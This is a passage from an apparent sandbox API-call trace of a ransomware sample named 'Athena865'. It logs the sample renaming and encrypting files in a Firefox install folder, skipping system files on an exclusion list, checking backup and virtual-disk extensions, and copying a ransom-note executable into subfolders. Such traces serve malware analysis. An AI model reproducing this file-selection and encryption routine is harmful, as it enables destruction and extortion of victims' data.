Size=0x208) returned 0x532d08 [0045.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.577] CloseHandle (hObject=0x17c) returned 1 [0045.577] CloseHandle (hObject=0x154) returned 1 [0045.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.579] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2=".") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="..") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="windows") returned -1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="bootmgr") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="temp") returned -1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="pagefile.sys") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="boot") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="ids.txt") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="ntuser.dat") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="perflogs") returned 1 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2="MSBuild") returned 1 [0045.579] lstrlenW (lpString="removed-files") returned 13 [0045.579] lstrcpyW (in: lpString1=0x241e896, lpString2="removed-files" | out: lpString1="removed-files") returned="removed-files" [0045.579] lstrlenW (lpString="removed-files") returned 13 [0045.579] lstrlenW (lpString="Athena865") returned 9 [0045.579] lstrcmpiW (lpString1="ved-files", lpString2="Athena865") returned 1 [0045.579] lstrlenW (lpString=".dll") returned 4 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2=".dll") returned 1 [0045.579] lstrlenW (lpString=".lnk") returned 4 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2=".lnk") returned 1 [0045.579] lstrlenW (lpString=".ini") returned 4 [0045.579] lstrcmpiW (lpString1="removed-files", lpString2=".ini") returned 1 [0045.579] lstrlenW (lpString=".sys") returned 4 [0045.580] lstrcmpiW (lpString1="removed-files", lpString2=".sys") returned 1 [0045.580] lstrlenW (lpString="removed-files") returned 13 [0045.580] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files.Athena865") returned 62 [0045.580] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files.athena865"), dwFlags=0x1) returned 1 [0045.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.580] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36667) returned 1 [0045.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.581] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.581] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.582] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9240, lpName=0x0) returned 0x17c [0045.583] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9240) returned 0x100000 [0045.585] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.586] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.586] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.586] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.587] CloseHandle (hObject=0x17c) returned 1 [0045.587] CloseHandle (hObject=0x154) returned 1 [0045.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.589] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2=".") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="..") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="windows") returned -1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="bootmgr") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="temp") returned -1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="pagefile.sys") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="boot") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="ids.txt") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="ntuser.dat") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="perflogs") returned 1 [0045.589] lstrcmpiW (lpString1="softokn3.chk", lpString2="MSBuild") returned 1 [0045.589] lstrlenW (lpString="softokn3.chk") returned 12 [0045.589] lstrcpyW (in: lpString1=0x241e896, lpString2="softokn3.chk" | out: lpString1="softokn3.chk") returned="softokn3.chk" [0045.589] lstrlenW (lpString="softokn3.chk") returned 12 [0045.589] lstrlenW (lpString="Athena865") returned 9 [0045.589] lstrcmpiW (lpString1="tokn3.chk", lpString2="Athena865") returned 1 [0045.589] lstrlenW (lpString=".dll") returned 4 [0045.590] lstrcmpiW (lpString1="softokn3.chk", lpString2=".dll") returned 1 [0045.590] lstrlenW (lpString=".lnk") returned 4 [0045.590] lstrcmpiW (lpString1="softokn3.chk", lpString2=".lnk") returned 1 [0045.590] lstrlenW (lpString=".ini") returned 4 [0045.590] lstrcmpiW (lpString1="softokn3.chk", lpString2=".ini") returned 1 [0045.590] lstrlenW (lpString=".sys") returned 4 [0045.590] lstrcmpiW (lpString1="softokn3.chk", lpString2=".sys") returned 1 [0045.590] lstrlenW (lpString="softokn3.chk") returned 12 [0045.590] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk.Athena865") returned 61 [0045.590] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk.athena865"), dwFlags=0x1) returned 1 [0045.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.591] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=899) returned 1 [0045.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.592] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.592] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.593] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.593] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x690, lpName=0x0) returned 0x17c [0045.595] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x690) returned 0x100000 [0045.595] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.596] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.596] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.597] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.597] CloseHandle (hObject=0x17c) returned 1 [0045.597] CloseHandle (hObject=0x154) returned 1 [0045.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.598] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2=".") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="..") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="windows") returned -1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="bootmgr") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="temp") returned -1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="pagefile.sys") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="boot") returned 1 [0045.598] lstrcmpiW (lpString1="softokn3.dll", lpString2="ids.txt") returned 1 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2="ntuser.dat") returned 1 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2="perflogs") returned 1 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2="MSBuild") returned 1 [0045.599] lstrlenW (lpString="softokn3.dll") returned 12 [0045.599] lstrcpyW (in: lpString1=0x241e896, lpString2="softokn3.dll" | out: lpString1="softokn3.dll") returned="softokn3.dll" [0045.599] lstrlenW (lpString="softokn3.dll") returned 12 [0045.599] lstrlenW (lpString="Athena865") returned 9 [0045.599] lstrcmpiW (lpString1="tokn3.dll", lpString2="Athena865") returned 1 [0045.599] lstrlenW (lpString=".dll") returned 4 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2=".dll") returned 1 [0045.599] lstrlenW (lpString=".lnk") returned 4 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2=".lnk") returned 1 [0045.599] lstrlenW (lpString=".ini") returned 4 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2=".ini") returned 1 [0045.599] lstrlenW (lpString=".sys") returned 4 [0045.599] lstrcmpiW (lpString1="softokn3.dll", lpString2=".sys") returned 1 [0045.599] lstrlenW (lpString="softokn3.dll") returned 12 [0045.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll.Athena865") returned 61 [0045.599] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll.athena865"), dwFlags=0x1) returned 1 [0045.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.600] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=153712) returned 1 [0045.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.600] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.601] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.601] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.601] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25b70, lpName=0x0) returned 0x17c [0045.603] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25b70) returned 0x170000 [0045.609] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.610] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.610] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.611] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0045.612] CloseHandle (hObject=0x17c) returned 1 [0045.612] CloseHandle (hObject=0x154) returned 1 [0045.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.615] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="UNINST~1")) returned 1 [0045.615] lstrcmpiW (lpString1="uninstall", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.615] lstrcmpiW (lpString1="uninstall", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.615] lstrcmpiW (lpString1="uninstall", lpString2=".") returned 1 [0045.615] lstrcmpiW (lpString1="uninstall", lpString2="..") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="windows") returned -1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="bootmgr") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="temp") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="pagefile.sys") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="boot") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="ids.txt") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="ntuser.dat") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="perflogs") returned 1 [0045.616] lstrcmpiW (lpString1="uninstall", lpString2="MSBuild") returned 1 [0045.616] lstrlenW (lpString="uninstall") returned 9 [0045.616] lstrcpyW (in: lpString1=0x241e896, lpString2="uninstall" | out: lpString1="uninstall") returned="uninstall" [0045.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530998 [0045.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e4a0 [0045.616] lstrcatW (in: lpString1="uninstall", lpString2="\\" | out: lpString1="uninstall\\") returned="uninstall\\" [0045.616] lstrcatW (in: lpString1="uninstall\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="uninstall\\HOW TO BACK YOUR FILES.exe") returned="uninstall\\HOW TO BACK YOUR FILES.exe" [0045.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\how to back your files.exe"), bFailIfExists=1) returned 1 [0045.621] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2=".") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="..") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="windows") returned -1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="bootmgr") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="temp") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="pagefile.sys") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="boot") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="ids.txt") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="ntuser.dat") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="perflogs") returned 1 [0045.621] lstrcmpiW (lpString1="update-settings.ini", lpString2="MSBuild") returned 1 [0045.622] lstrlenW (lpString="update-settings.ini") returned 19 [0045.622] lstrcpyW (in: lpString1=0x241e896, lpString2="update-settings.ini" | out: lpString1="update-settings.ini") returned="update-settings.ini" [0045.622] lstrlenW (lpString="update-settings.ini") returned 19 [0045.622] lstrlenW (lpString="Athena865") returned 9 [0045.622] lstrcmpiW (lpString1="tings.ini", lpString2="Athena865") returned 1 [0045.622] lstrlenW (lpString=".dll") returned 4 [0045.622] lstrcmpiW (lpString1="update-settings.ini", lpString2=".dll") returned 1 [0045.622] lstrlenW (lpString=".lnk") returned 4 [0045.622] lstrcmpiW (lpString1="update-settings.ini", lpString2=".lnk") returned 1 [0045.622] lstrlenW (lpString=".ini") returned 4 [0045.622] lstrcmpiW (lpString1="update-settings.ini", lpString2=".ini") returned 1 [0045.622] lstrlenW (lpString=".sys") returned 4 [0045.622] lstrcmpiW (lpString1="update-settings.ini", lpString2=".sys") returned 1 [0045.622] lstrlenW (lpString="update-settings.ini") returned 19 [0045.622] lstrlenW (lpString="bak") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0045.622] lstrlenW (lpString="ba_") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0045.622] lstrlenW (lpString="dbb") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0045.622] lstrlenW (lpString="vmdk") returned 4 [0045.622] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0045.622] lstrlenW (lpString="rar") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0045.622] lstrlenW (lpString="zip") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0045.622] lstrlenW (lpString="tgz") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0045.622] lstrlenW (lpString="vbox") returned 4 [0045.622] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0045.622] lstrlenW (lpString="vdi") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0045.622] lstrlenW (lpString="vhd") returned 3 [0045.622] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0045.622] lstrlenW (lpString="vhdx") returned 4 [0045.622] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0045.623] lstrlenW (lpString="avhd") returned 4 [0045.623] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0045.623] lstrlenW (lpString="db") returned 2 [0045.623] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0045.623] lstrlenW (lpString="db2") returned 3 [0045.623] 